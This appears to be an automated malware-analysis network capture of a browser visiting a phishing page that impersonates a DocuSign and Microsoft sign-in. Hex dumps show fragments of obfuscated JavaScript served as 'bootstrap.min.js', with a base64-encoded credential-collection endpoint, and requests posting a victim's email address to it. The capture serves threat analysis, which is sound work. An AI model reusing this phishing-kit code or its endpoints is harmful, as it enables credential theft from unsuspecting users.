2025-01-14 16:25:35 UTC	16384	IN	Data Raw: 32 30 21 69 6d 70 6f 72 74 27 2c 27 4d 44 42 51 6f 48 42 67 63 4b 27 2c 27 64 5c 78 32 30 2e 66 6f 72 6d 2d 63 68 27 2c 27 74 65 72 5c 78 32 30 7b 5c 78 32 30 6c 65 66 74 27 2c 27 73 74 69 66 79 3b 5c 78 32 30 6a 75 73 27 2c 27 75 6e 64 2d 73 69 7a 65 3a 5c 78 32 30 27 2c 27 65 6c 69 6e 65 5c 78 32 30 21 69 6d 70 27 2c 27 65 6e 74 3a 5c 78 32 30 68 6f 72 69 7a 27 2c 27 7d 5c 78 32 30 7d 5c 78 32 30 40 6d 65 64 69 61 27 2c 27 2d 36 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 73 70 6c 61 79 3a 5c 78 32 30 74 61 62 27 2c 27 3a 5c 78 32 30 23 66 66 66 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 69 63 3b 5c 78 32 30 77 69 64 74 68 3a 27 2c 27 5c 78 32 30 7b 5c 78 32 30 6d 61 78 2d 77 69 64 27 2c 27 6c 5c 78 32 30 7d 5c 78 32 30 2e 63 6f 6e 74 61 27 2c 27 73 Data Ascii: 20!import','MDBQoHBgcK','d\x20.form-ch','ter\x20{\x20left','stify;\x20jus','und-size:\x20','eline\x20!imp','ent:\x20horiz','}\x20}\x20@media','-6\x20{\x20-webk','splay:\x20tab',':\x20#fff\x20}\x20.','ic;\x20width:','\x20{\x20max-wid','l\x20}\x20.conta','s
2025-01-14 16:25:35 UTC	16384	IN	Data Raw: 30 2e 61 72 27 2c 27 67 6e 2d 69 74 65 6d 73 2d 78 27 2c 27 64 30 6b 6b 59 56 63 73 79 71 27 2c 27 5c 78 32 30 76 69 73 69 62 6c 65 3b 5c 78 32 30 27 2c 27 3a 5c 78 32 30 6c 69 73 74 2d 69 74 65 27 2c 27 6c 6f 72 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 6f 6e 6d 6f 75 73 65 6f 76 65 27 2c 27 44 4d 6b 61 64 27 2c 27 6f 72 3a 5c 78 32 30 23 38 30 62 64 66 27 2c 27 3a 68 6f 76 65 72 3e 74 68 5c 78 32 30 27 2c 27 75 70 3e 2e 63 61 72 64 3a 66 27 2c 27 74 2e 6c 69 73 74 2d 67 72 6f 27 2c 27 79 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 6c 67 2d 30 2c 5c 78 32 30 2e 70 78 27 2c 27 6c 2d 72 69 67 68 74 5c 78 32 30 7b 5c 78 32 30 27 2c 27 5c 78 32 30 7d 5c 78 32 30 61 2e 62 67 2d 73 75 27 2c 27 2d 64 61 72 6b 2e 74 61 62 6c 27 2c 27 5c 78 32 30 2e 61 Data Ascii: 0.ar','gn-items-x','d0kkYVcsyq','\x20visible;\x20',':\x20list-ite','lor:\x20trans','onmouseove','DMkad','or:\x20#80bdf',':hover>th\x20','up>.card:f','t.list-gro','y\x20{\x20color:','-lg-0,\x20.px','l-right\x20{\x20','\x20}\x20a.bg-su','-dark.tabl','\x20.a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	51414	69.49.230.198	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:36 UTC	663	OUT	POST /next.php HTTP/1.1 Host: 2043758164.cloudhostbuilder.com Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://docusign.legalcloudfiles.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:36 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-01-14 16:25:39 UTC	297	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:35 GMT Server: Apache Access-Control-Allow-Origin: https://docusign.legalcloudfiles.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-14 16:25:39 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	51415	43.157.144.205	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:36 UTC	390	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 2043758164-1323985617.cos.sa-saopaulo.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:37 UTC	426	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553316 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 14 Jan 2025 16:25:37 GMT ETag: "2c1eee3794f01eb2649d9cb190809f18" Last-Modified: Mon, 13 Jan 2025 07:09:42 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 12230048738106234686 x-cos-request-id: Njc4NjkwMDFfOTI1NzU5MGJfYmMyMV9mMDhjNTUy
2025-01-14 16:25:37 UTC	15958	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 79 4d 44 51 7a 4e 7a 55 34 4d 54 59 30 4c 6d 4e 73 62 33 56 6b 61 47 39 7a 64 47 4a 31 61 57 78 6b 5a 58 49 75 59 32 39 74 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 3a 66 6f 63 Data Ascii: var file = "aHR0cHM6Ly8yMDQzNzU4MTY0LmNsb3VkaG9zdGJ1aWxkZXIuY29tL25leHQucGhw";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':foc
2025-01-14 16:25:37 UTC	4	IN	Data Raw: 73 74 2d 63 Data Ascii: st-c
2025-01-14 16:25:37 UTC	8184	IN	Data Raw: 68 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 27 2c 27 75 70 2d 69 74 65 6d 2d 70 72 27 2c 27 74 65 64 5c 78 32 30 2e 63 75 73 74 6f 27 2c 27 6e 65 5c 78 32 30 2e 69 6e 70 75 74 2d 27 2c 27 69 6e 6b 4d 61 63 53 79 73 74 27 2c 27 73 70 61 6e 3e 57 65 5c 78 32 30 74 65 27 2c Data Ascii: h','der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t','up-item-pr','ted\x20.custo','ne\x20.input-','inkMacSyst','span>We\x20te',
2025-01-14 16:25:37 UTC	8184	IN	Data Raw: 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 27 2c 27 74 2d 68 69 64 65 5c 78 32 30 7b 5c 78 32 30 66 27 2c 27 6e 6f 6e 65 3b 5c 78 32 30 2d 6d 6f 7a 27 2c 27 72 6f 70 6c 65 66 74 5c 78 32 30 2e 64 27 2c 27 6c 69 64 5c 78 32 30 7b 5c 78 32 30 62 6f Data Ascii: lu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5','t-hide\x20{\x20f','none;\x20-moz','ropleft\x20.d','lid\x20{\x20bo
2025-01-14 16:25:37 UTC	16368	IN	Data Raw: 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c 27 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 27 2c 27 76 65 72 74 69 63 61 6c 3e 2e 27 2c 27 25 2c 5c 78 32 30 30 2c 5c 78 32 30 30 29 3b 5c 78 32 30 27 2c 27 28 5b 73 69 7a 65 5d 29 3a 6e 27 2c 27 73 2d 70 6f 70 6f 76 65 72 2d 27 2c 27 6f 74 74 6f 6d Data Ascii: 32;&#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj','left:\x20auto','vertical>.','%,\x200,\x200);\x20','([size]):n','s-popover-','ottom
2025-01-14 16:25:37 UTC	16368	IN	Data Raw: 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 32 30 72 6f 27 2c 27 2e 37 35 72 65 6d 5c 78 32 30 31 2e 32 27 2c 27 7d 5c 78 32 30 5b 74 79 70 65 3d 62 75 27 2c 27 6f 72 73 5c 78 32 30 7b 5c 78 32 30 70 6f 73 69 27 2c 27 74 65 6e 74 3a 5c 78 32 30 73 70 61 63 27 2c 27 75 73 74 6f 6d 2d 72 61 64 69 27 2c 27 Data Ascii: x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x20ro','.75rem\x201.2','}\x20[type=bu','ors\x20{\x20posi','tent:\x20spac','ustom-radi','
2025-01-14 16:25:37 UTC	8184	IN	Data Raw: 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 30 27 2c 27 6e 67 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 76 65 27 2c 27 2e 61 72 72 6f 77 2c 5c 78 32 30 2e 62 27 2c 27 70 3a 5c 78 32 30 31 2e 35 72 65 6d 5c 78 32 30 27 2c 27 69 6f 6e 3a 5c 78 32 30 74 72 61 6e 73 27 2c 27 75 6e 64 2d 63 6f 6c 6f 72 3a Data Ascii: x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x20','ng:\x200;\x20ove','.arrow,\x20.b','p:\x201.5rem\x20','ion:\x20trans','und-color:
2025-01-14 16:25:37 UTC	8184	IN	Data Raw: 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 74 6e 3a 66 6f 63 75 73 2c 27 2c 27 65 66 74 3a 5c 78 32 30 37 35 25 5c 78 32 30 7d 27 2c 27 3d 5c 78 32 32 76 69 65 77 70 6f 72 74 27 2c 27 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 5c 78 32 30 72 27 2c 27 6e 2d 73 65 6c 66 3a 5c 78 32 30 61 75 27 2c Data Ascii: input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','btn:focus,','eft:\x2075%\x20}','=\x22viewport','\x20sign\x20in\x20r','n-self:\x20au',
2025-01-14 16:25:37 UTC	8184	IN	Data Raw: 27 76 65 72 74 69 63 61 6c 5c 78 32 30 21 27 2c 27 6e 76 61 6c 69 64 2c 5c 78 32 30 2e 77 27 2c 27 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 67 72 6f 27 2c 27 65 78 2d 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 65 2c 5c 78 32 30 2e 73 68 6f 77 3e 2e 27 2c 27 72 3a 5c 78 32 30 23 45 35 45 35 45 35 27 2c 27 5c 78 32 30 2e 66 69 67 75 72 65 5c 78 32 30 7b 27 2c 27 49 5c 78 32 30 57 65 62 5c 78 32 30 28 57 65 73 27 2c 27 69 6d 67 5c 78 32 32 3e 3c 2f 64 69 76 27 2c 27 67 68 74 2e 6c 69 73 74 2d 67 27 2c 27 72 65 6d 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 6e 65 2d 62 6c 6f 63 6b 3b 5c 78 32 30 27 2c 27 65 6e 74 65 72 3b 5c 78 32 30 2d 77 65 27 2c 27 6f 5c 78 32 30 7d 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 65 52 66 74 51 57 76 6a 57 33 27 2c 27 7d 5c 78 32 30 7d 5c 78 Data Ascii: 'vertical\x20!','nvalid,\x20.w','\x20{\x20backgro','ex-order:\x20','e,\x20.show>.','r:\x20#E5E5E5','\x20.figure\x20{','I\x20Web\x20(Wes','img\x22></div','ght.list-g','rem;\x20borde','ne-block;\x20','enter;\x20-we','o\x20}\x20.navba','eRftQWvjW3','}\x20}\x
2025-01-14 16:25:37 UTC	8184	IN	Data Raw: 27 2c 27 38 61 37 34 35 5c 78 32 30 7d 5c 78 32 30 2e 62 27 2c 27 42 6a 63 4c 64 27 2c 27 31 30 38 2c 5c 78 32 30 31 31 37 2c 5c 78 32 30 27 2c 27 5c 78 32 30 30 5c 78 32 30 39 31 2e 36 36 36 36 27 2c 27 6f 74 74 6f 6d 3a 5c 78 32 30 2e 33 65 27 2c 27 6c 6f 72 3a 5c 78 32 30 23 32 38 61 37 27 2c 27 74 2d 73 75 63 63 65 73 73 3a 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 62 6f 72 64 65 72 27 2c 27 6c 6c 61 70 73 65 2e 73 68 6f 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 6d 61 72 67 69 6e 27 2c 27 42 79 4d 62 6d 50 62 6e 48 4e 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 78 6c 2d 27 2c 27 6f 72 64 69 6e 61 6c 2d 67 72 27 2c 27 7d 5c 78 32 30 2e 69 6e 76 61 6c 69 64 27 2c 27 65 6d 5c 78 32 30 7d 5c 78 32 30 2e 6d 6f 64 61 27 2c 27 70 79 2d 6c 67 2d 31 5c 78 32 30 7b 5c 78 Data Ascii: ','8a745\x20}\x20.b','BjcLd','108,\x20117,\x20','\x200\x2091.6666','ottom:\x20.3e','lor:\x20#28a7','t-success:','\x20}\x20.border','llapse.sho','\x200;\x20margin','ByMbmPbnHN',',\x20.col-xl-','ordinal-gr','}\x20.invalid','em\x20}\x20.moda','py-lg-1\x20{\x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	51416	69.49.230.198	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:40 UTC	363	OUT	GET /next.php HTTP/1.1 Host: 2043758164.cloudhostbuilder.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:40 UTC	150	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:40 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	51418	69.49.230.198	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:43 UTC	721	OUT	POST /next.php HTTP/1.1 Host: 2043758164.cloudhostbuilder.com Connection: keep-alive Content-Length: 45 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://docusign.legalcloudfiles.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:43 UTC	45	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 65 63 61 73 74 69 6c 6c 6f 40 73 65 67 75 72 69 64 61 64 61 6d 65 72 69 63 61 2e 63 6f 6d Data Ascii: do=check&email=ecastillo@seguridadamerica.com
2025-01-14 16:25:44 UTC	297	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:42 GMT Server: Apache Access-Control-Allow-Origin: https://docusign.legalcloudfiles.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-14 16:25:44 UTC	100	IN	Data Raw: 35 39 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 6e 75 6c 6c 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 6e 75 6c 6c 2c 22 66 65 64 65 72 61 74 69 6f 6e 4c 6f 67 69 6e 22 3a 22 22 2c 22 74 79 70 65 22 3a 22 6f 66 66 69 63 65 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 59{"status":"success","banner":null,"background":null,"federationLogin":"","type":"office"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	51417	152.199.21.175	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:43 UTC	667	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docusign.legalcloudfiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:44 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7824044 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 14 Jan 2025 16:25:43 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
2025-01-14 16:25:44 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	51425	69.49.230.198	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:44 UTC	363	OUT	GET /next.php HTTP/1.1 Host: 2043758164.cloudhostbuilder.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:44 UTC	150	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 16:25:44 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	51424	152.199.21.175	443	8144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 16:25:44 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 16:25:45 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7824046 Cache-Control: public, max-age=31536000 Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Content-Type: image/svg+xml Date: Tue, 14 Jan 2025 16:25:45 GMT Etag: 0x8D7B007297AE131 Last-Modified: Wed, 12 Feb 2020 22:01:50 GMT Server: ECAcc (lhc/7886) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 53477596-701e-00df-0778-1fca5d000000 x-ms-version: 2009-09-19 Content-Length: 1864 Connection: close
